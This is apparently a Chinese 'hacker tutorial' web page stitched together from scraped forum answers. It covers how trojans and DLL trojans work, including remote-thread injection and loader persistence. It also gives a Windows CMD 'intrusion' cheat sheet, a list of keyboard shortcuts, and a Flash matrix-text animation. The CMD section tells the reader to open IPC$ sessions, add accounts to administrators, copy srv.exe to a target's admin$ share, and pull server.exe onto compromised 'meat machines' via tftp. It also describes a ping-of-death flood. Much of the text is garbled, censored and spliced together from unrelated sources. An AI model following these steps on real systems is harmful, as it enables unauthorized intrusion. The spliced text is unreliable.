黑客业务

黑客基地,黑客教程,网络黑客,黑客论坛,黑客培训

新建文本成黑客(黑客文本文档)

本文目录一览:

新建个文本文档输入进去的字都是乱码

什么是木马?

特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。

它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。

从木马的发展来看,基本上可以分为两个阶段。

最初 *** 还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的 *** 和编程知识。

而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。

所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。

参考资料:

回答者:完颜康康 - 探花 十一级 9-18 12:40

--------------------------------------------------------------------------------

DLL 木马揭秘

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物。什么是“DLL木马”呢?它与一般的木马有什么不同?

一、从DLL技术说起

要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码 *** (通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,就能使用这个库包含的所有功能而不必自己再去写一大堆代码,这个技术被称为“静态链接”(Static Link)。静态链接技术让劳累的程序员松了口气,一切似乎都很美好。可是事实证明,美好的事物不会存在太久,因为静态链接就像一个粗鲁的推销员,不管你想不想要宣传单,他都全部塞到你的手上来。写一个程序只想用到一个库文件包含的某个图形效果,就因为这个,你不得不把这个库文件携带的所有的图形效果都加入程序,留着它们当花瓶摆设,这倒没什么重要,可是这些花瓶却把道路都阻塞了——静态链接技术让最终的程序成了大块头,因为编译器把整个库文件也算进去了。

时代在发展,静态链接技术由于天生的弊端,不能满足程序员的愿望,人们开始寻找一种更好的 *** 来解决代码重复的难题。后来,Windows系统出现了,时代的分水岭终于出现。Windows系统使用一种新的链接技术,这种被称为“动态链接”(Dynamic Link)的新技术同样也是使用库文件,微软称它们为“动态链接库”——Dynamic Link Library,DLL的名字就是这样来的。动态链接本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的 *** ,而是把库文件做成已经编译好的程序文件,给它们开个交换数据的接口,程序员写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。完成需要的功能后,这个DLL停止运行,整个调用过程结束。微软让这些库文件能被多个程序调用,实现了比较完美的共享,程序员无论要写什么程序,只要在代码里加入对相关DLL的调用声明就能使用它的全部功能。最重要的是,DLL绝对不会让你多拿一个花瓶,你要什么它就给你什么,你不要的东西它才不会给你。这样,写出来的程序就不能再携带一大堆垃圾了——绝对不会让你把吃剩的东西带回家,否则罚款,这是自助餐。

DLL技术的诞生,使编写程序变成一件简单的事情,Windows为我们提供了几千个函数接口,足以满足大多数程序员的需要。而且,Windows系统自身就是由几千个DLL文件组成,这些DLL相互扶持,组成了强大的Windows系统。如果Windows使用静态链接技术,它的体积会有多大?我不敢想。

二、应用程序接口API

上面我们对DLL技术做了个大概分析,在里面我提到了“接口”,这又是什么呢?因为DLL不能像静态库文件那样塞进程序里,所以,如何让程序知道实现功能的代码和文件成了问题,微软就为DLL技术做了标准规范,让一个DLL文件像奶酪一样开了许多小洞,每个洞口都注明里面存放的功能的名字,程序只要根据标准规范找到相关洞口就可以取得它要的美味了,这个洞口就是“应用程序接口”(Application Programming Interface),每个DLL带的接口都不相同,尽更大可能的减少了代码的重复。用Steven的一句话:API就是一个工具箱,你根据需要取出螺丝刀、扳手,用完后再把它们放回原处。在Windows里,最基本的3个DLL文件是kernel32.dll、user32.dll、gdi32.dll。它们共同构成了基本的系统框架。

三、DLL与木马

DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。那么,DLL与木马能扯上什么关系呢?如果你学过编程并且写过DLL,就会发现,其实DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序了。当然,DLL文件是没有程序逻辑的,这里并不是说DLL=EXE,不过,依然可以把DLL看做缺少了main入口的EXE,DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。

四、DLL的运行

虽然DLL不能自己运行,可是Windows在加载DLL的时候,需要一个入口函数,就如同EXE的main一样,否则系统无法引用DLL。所以根据编写规范,Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据,这个函数不作为API导出,而是内部函数。DllMain函数使DLL得以保留在内存里,有的DLL里面没有DllMain函数,可是依然能使用,这是因为Windows在找不到DllMain的时候,会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入,并不是说DLL可以放弃DllMain函数。

五、DLL木马技术分析

到了这里,您也许会想,既然DLL木马有那么多好处,以后写木马都采用DLL方式不就好了吗?话虽然是这么说没错,但是DLL木马并不是一些人想象的那么容易写的。要写一个能用的DLL木马,你需要了解更多知识。

1.木马的主体

千万别把木马模块写得真的像个API库一样,这不是开发WINAPI。DLL木马可以导出几个辅助函数,但是必须有一个过程负责主要执行代码,否则这个DLL只能是一堆零碎API函数,别提工作了。

如果涉及一些通用代码,可以在DLL里写一些内部函数,供自己的代码使用,而不是把所有代码都开放成接口,这样它自己本身都难调用了,更不可能发挥作用。

DLL木马的标准执行入口为DllMain,所以必须在DllMain里写好DLL木马运行的代码,或者指向DLL木马的执行模块。

2.动态嵌入技术

Windows中,每个进程都有自己的私有内存空间,别的进程是不允许对这个私人领地进行操作的,但是,实际上我们仍然可以利用种种 *** 进入并操作进程的私有内存,这就是动态嵌入,它是将自己的代码嵌入正在运行的进程中的技术。动态嵌入有很多种,最常见的是钩子、API以及远程线程技术,现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见,罗技的MouseWare驱动就挂着每一个系统进程-_-

远程线程技术就是通过在另一个进程中创建远程线程(RemoteThread)的 *** 进入那个进程的内存地址空间。在DLL木马的范畴里,这个技术也叫做“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,要想让木马停止惟有让挂接这个木马DLL的进程退出运行。但是,很多时候我们只能束手无策——它和Explorer.exe挂在一起了,你确定要关闭Windows吗?

3.木马的启动

有人也许会迫不及待的说,直接把这个DLL加入系统启动项目不就可以了。答案是NO,前面说过,DLL不能独立运行,所以无法在启动项目里直接启动它。要想让木马跑起来,就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车,让被嵌入的进程调用这个DLL的DllMain函数,激发木马运行,最后启动木马的EXE结束运行,木马启动完毕。

启动DLL木马的EXE是个重要角色,它被称为Loader,如果没有Loader,DLL木马就是破烂一堆,因此,一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。记得狼狈为奸的故事吗?DLL木马就是爬在狼Loader上的狈。

Loader可以是多种多样的,Windows的rundll32.exe也被一些DLL木马用来做了Loader,这种木马一般不带动态嵌入技术,它直接挂着rundll32进程运行,用rundll32的 *** (rundll32.exe [DLL名],[函数] [参数])像调用API一样去引用这个DLL的启动函数激发木马模块开始执行,即使你杀了rundll32,木马本体还是在的,一个最常见的例子就是3721中文实名,虽然它不是木马。

注册表的AppInit_DLLs键也被一些木马用来启动自己,如求职信病毒。利用注册表启动,就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的,对这个DLL的稳定性有很大要求,稍有错误就会导致系统崩溃,所以很少看到这种木马。

有一些更复杂点的DLL木马通过svchost.exe启动,这种DLL木马必须写成NT-Service,入口函数是ServiceMain,一般很少见,但是这种木马的隐蔽性也不错,而且Loader有保障。

4.其它

到这里大家也应该对DLL木马有个了解了,是不是很想写一个?别急,不知道大家想过没有,既然DLL木马这么好,为什么到现在能找到的DLL木马寥寥无几?现在让我来泼冷水,最重要的原因只有一个:由于DLL木马挂着系统进程运行,如果它本身写得不好,例如没有防止运行错误的代码或者没有严格规范用户的输入,DLL就会出错崩溃。别紧张,一般的EXE也是这样完蛋的,但是DLL崩溃会导致它挂着的程序跟着遭殃,别忘记它挂接的是系统进程哦,结局就是……惨不忍睹。所以写一个能公布的DLL木马,在排错检查方面做的工作要比一般的EXE木马多,写得多了自己都烦躁……

六、DLL木马的发现和查杀

经常看看启动项有没有多出莫名其妙的项目,这是Loader的所在,只要杀了狼,狈就不能再狂了。而DLL木马本体比较难发现,需要你有一定编程知识和分析能力,在Loader里查找DLL名称,或者从进程里看多挂接了什么陌生的DLL,可是对新手来说……总之就是比较难啊比较难,所以,最简单的 *** :杀毒软件和防火墙(不是万能药,切忌长期服用)。

;ct=17pn=0tn=ikaslistrn=10

回答者:100w - 大魔导师 十二级 4-30 06:48

对更佳答案的评论

马病毒源自古希腊特洛伊战争中著名的“木马计”而得名,顾名思义就是一种伪装潜伏的 *** 病毒,等待时机成熟就出来害人。 木马病毒的破坏性:木马病毒的发作要在用户的机器里运行客户端程序,一旦发作,就可设置后门,定时地发送该用户的隐私到木马程序指定的地址,一般同时内置可进入该用户电脑的端口,并可任意控制此计算机,进行文件删除、拷贝、改密码等非法操作。

怎样利用“CMD”进行黑客入侵?

net use ipipc$ " " /user:" " 建立IPC空链接

net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接

net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

net use h: ipc$ 登陆后映射对方C:到本地为H:

net use ipipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名  开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time 目标ip 查看对方时间

net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view ip 查看对方局域网内开启了哪些共享

net config 显示系统 *** 设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的 *** 连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的 *** 连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中," "和" " 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示 *** 地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并更大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续....

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 pass.txt 将"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

三:

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地 *** 配置情况

四:

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令: (后面有详细说明内容)

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

更佳吧

如何像黑客一样只键盘操作

记住一下,你就不需要鼠标了

一、常见用法:

F1 显示当前程序或者windows的帮助内容。

F2 当你选中一个文件的话,这意味着“重命名”

F3 当你在桌面上的时候是打开“查找:所有文件” 对话框

F10或ALT 激活当前程序的菜单栏

windows键或CTRL+ESC 打开开始菜单

CTRL+ALT+DELETE 在win9x中打开关闭程序对话框

DELETE 删除被选择的选择项目,如果是文件,将被放入回收站

SHIFT+DELETE 删除被选择的选择项目,如果是文件,将被直接删除而不是

放入回收站

CTRL+N 新建一

2009-07-01 02:43

实用技能 | [url=javascript:;]评论(0)[/url] | 浏览(713)

转载

一、常见用法:

F1 显示当前程序或者windows的帮助内容。

F2 当你选中一个文件的话,这意味着“重命名”

F3 当你在桌面上的时候是打开“查找:所有文件” 对话框

F10或ALT 激活当前程序的菜单栏

windows键或CTRL+ESC 打开开始菜单

CTRL+ALT+DELETE 在win9x中打开关闭程序对话框

DELETE 删除被选择的选择项目,如果是文件,将被放入回收站

SHIFT+DELETE 删除被选择的选择项目,如果是文件,将被直接删除而不是

放入回收站

CTRL+N 新建一个新的文件

CTRL+O 打开“打开文件”对话框

CTRL+P 打开“打印”对话框

CTRL+S 保存当前操作的文件

CTRL+X 剪切被选择的项目到剪贴板

CTRL+或 CTRL+C 复制被选择的项目到剪贴板

SHIFT+或 CTRL+V 粘贴剪贴板中的内容到当前位置

ALT+BACKSPACE 或 CTRL+Z 撤销上一步的操作

ALT+SHIFT+BACKSPACE 重做上一步被撤销的操作

Windows键+M 最小化所有被打开的窗口。

Windows键+CTRL+M 重新将恢复上一项操作前窗口的大小和位置

Windows键+E 打开资源管理器

Windows键+F 打开“查找:所有文件”对话框

Windows键+R 打开“运行”对话框

Windows键+BREAK 打开“系统属性”对话框

Windows键+CTRL+F 打开“查找:计算机”对话框

SHIFT+F10或鼠标右击 打开当前活动项目的快捷菜单

SHIFT 在放入CD的时候按下不放,可以跳过自动播放CD。在打开wo

rd的时候按下不放,可以跳过自启动的宏

ALT+F4 关闭当前应用程序

ALT+SPACEBAR 打开程序最左上角的菜单

ALT+TAB 切换当前程序

ALT+ESC 切换当前程序

ALT+ENTER 将windows下运行的MSDOS窗口在窗口和全屏幕状态间切换

PRINT SCREEN 将当前屏幕以图象方式拷贝到剪贴板

ALT+PRINT SCREEN 将当前活动程序窗口以图象方式拷贝到剪贴板

CTRL+F4 关闭当前应用程序中的当前文本(如word中)

CTRL+F6 切换到当前应用程序中的下一个文本(加shift 可以跳到前

一个窗口)

在IE中:

ALT+RIGHT ARROW 显示前一页(前进键)

ALT+LEFT ARROW 显示后一页(后退键)

CTRL+TAB 在页面上的各框架中切换(加shift反向)

F5 刷新

CTRL+F5 强行刷新

目的快捷键

激活程序中的菜单栏 F10

执行菜单上相应的命令 ALT+菜单上带下划线的字母

关闭多文档界面程序中的当

前窗口 CTRL+ F4

关闭当前窗口或退出程序 ALT+ F4

复制 CTRL+ C

剪切 CTRL+ X

删除

显示所选对话框项目的帮助 F1

显示当前窗口的系统菜单 ALT+空格键

显示所选项目的快捷菜单 SHIFT+ F10

显示“开始”菜单 CTRL+ ESC

显示多文档界面程序的系统

菜单 ALT+连字号(-)

粘贴 CTR L+ V

切换到上次使用的窗口或者

按住 ALT然后重复按TAB,

切换到另一个窗口 ALT+ TAB

撤消 CTRL+ Z

二、使用“Windows资源管理器”的快捷键

目的快捷键

如果当前选择展开了,要折

叠或者选择父文件夹左箭头

折叠所选的文件夹 NUM LOCK+负号(-)

如果当前选择折叠了,要展开

或者选择之一个子文件夹右箭头

展开当前选择下的所有文件夹 NUM LOCK+*

展开所选的文件夹 NUM LOCK+加号(+)

在左右窗格间切换 F6

三、使用 WINDOWS键

可以使用 Microsoft自然键盘或含有 Windows徽标键的其他任何兼容键盘的以下快

捷键。

目的快捷键

在任务栏上的按钮间循环 WINDOWS+ TAB

显示“查找:所有文件” WINDOWS+ F

显示“查找:计算机” CTRL+ WINDOWS+ F

显示“帮助” WINDOWS+ F1

显示“运行”命令 WINDOWS+ R

显示“开始”菜单 WINDOWS

显示“系统属性”对话框 WINDOWS+ BREAK

显示“Windows资源管理器” WINDOWS+ E

最小化或还原所有窗口 WINDOWS+ D

撤消最小化所有窗口 SHIFT+ WINDOWS+ M

四、使用“我的电脑”和“Windows资源管理器”的快捷键

目的快捷键

关闭所选文件夹及其所有父

文件夹按住 SHIFT键再单击“关闭按钮(仅适用于“我的电脑”)

向后移动到上一个视图 ALT+左箭头

向前移动到上一个视图 ALT+右箭头

查看上一级文件夹 BACKSPACE

五、使用对话框中的快捷键

目的快捷键

取消当前任务 ESC

如果当前控件是个按钮,要

单击该按钮或者如果当前控

件是个复选框,要选择或清

除该复选框或者如果当前控

件是个选项按钮,要单击该

选项空格键

单击相应的命令 ALT+带下划线的字母

单击所选按钮 ENTER

在选项上向后移动 SHIFT+ TAB

在选项卡上向后移动 CTRL+ SHIFT+ TAB

在选项上向前移动 TAB

在选项卡上向前移动 CTRL+ TAB

如果在“另存为”或“打开”

对话框中选择了某文件夹,

要打开上一级文件夹 BACKSPACE

在“另存为”或“打开”对

话框中打开“保存到”或

“查阅” F4

刷新“另存为”或“打开”

对话框 F5

六、使用“桌面”、“我的电脑”和“Windows资源管理器”快捷键

选择项目时,可以使用以下快捷键。

目的快捷键

插入光盘时不用“自动播放”

功能按住 SHIFT插入 CD-ROM

复制文件按住 CTRL拖动文件

创建快捷方式按住 CTRL+SHIFT拖动文件

立即删除某项目而不将其放入 SHIFT+

“回收站”

显示“查找:所有文件” F3

显示项目的快捷菜单 APPLICATION键

刷新窗口的内容 F5

重命名项目 F2

选择所有项目 CTRL+ A

查看项目的属性 ALT+ ENTER或 ALT+双击

可将 APPLICATION键用于 Microsoft自然键盘或含有 APPLICATION键的其他兼容键

七、Microsoft放大程序的快捷键

这里运用Windows徽标键和其他键的组合。

快捷键目的

Windows徽标+PRINT SCREEN将屏幕复制到剪贴板(包括鼠标光标)

Windows徽标+SCROLL LOCK将屏幕复制到剪贴板(不包括鼠标光标)

Windows徽标+ PAGE UP切换反色。

Windows徽标+ PAGE DOWN切换跟随鼠标光标

Windows徽标+向上箭头增加放大率

Windows徽标+向下箭头减小放大率

八、使用辅助选项快捷键

目的快捷键

切换筛选键开关右SHIFT八秒

切换高对比度开关左ALT+左SHIFT+PRINT SCREEN

切换鼠标键开关左ALT+左SHIFT+NUM LOCK

切换粘滞键开关 SHIFT键五次

切换切换键开关 NUM LOCK五秒

黑客文字怎么做?

本实例编辑出很多的字母串从上到下又慢慢地消失的效果。本实例先使用文本工具,在舞台中编辑出文字内容,再运用分离功能,编辑出文本由亮到暗,再由暗到亮的动画效果,最后运用Action Scrip,使画面中出现多条字母串。

操作步骤:

1. 启动FLASH8,新建一空白FLASH文档。

2. Ctrl+J,打开文档属性对话框,设置尺寸:宽650px,高400px,背景色为黑色。

3. Ctrl+F8,打开创建新元件对话框,设置名称:文字,行为:影片剪辑。

4. 确定后进入元件文字的编辑画面。选择文本工具,设置字体为Adlib *** ,字号为10,文本颜色为绿色(#00CC00),在舞台中输入文本“welcome to ”。

5. 选择舞台中的文字,按下Ctrl+B将文本分离。

6. 按Ctrl+Shift+D,将文字分散到层。

7. 现在图层1为空图层,我们可以将它删除掉。选择图层1,右击鼠标,选择删除命令。

8. 选择时间轴上的所有字母,按下Ctrl+B将字母分离,为所有图层的第45帧插入关键帧。

9. 选中所有的图层,在属性面板中设置补间为形状。

10. 选中所有的图层的第45帧,Shift+F9,打开混色器面板,将Alpha值调整到0%。

11. 选中图层2的第1帧,按住鼠标左键不放,再往后拖曳鼠标到第45帧,选中图层1的所有帧。

12. 将选中的帧全部往后拖一个帧格。

13. 用同样的 *** 将下面各个图层的帧的位置往后移,每往下一个图层多往后移动一个帧格。

14. 回到舞台,Ctrl+L,打开库面板。

15. 选择库面板中的文字,拖曳到舞台。

16. 在属性面板中设置文字实例的位置,X:373,Y:55。

17. 在属性面板中设置实例名称为w。

18. 选择图层1的第1帧,F9,打开动作面板输入脚本:

for(n=1;n75;n++){

duplicateMovieClip("w","w" add n,n);

setProperty("w" add n,_x,random(650)+1);

setProperty("w" add n,_y,random(200)+1);

setProperty("w" add n,_xscale,random(100)+1);

setProperty("w" add n,_yscale,random(125)+1);

}

脚本解释:

第1句:设置常量n,并赋值为1,设置循环条件为:n50时执行下列操作,每执行一次n+1。

第2句:复制实例名为w的元件,命名为”w” add n。

第3句:设置”w” add n的X坐标为0~650中随机的一个值再加1。

第4句:设置”w” add n的Y坐标为0~200中随机的一个值再加1。

第5句:设置”w” add n的宽为0~100中随机的一个值再加1。

第6句:设置”w” add n的高为0~125中随机的一个值再加1。

19. 本实例 *** 完毕,按Ctrl+Enter观看最终效果。

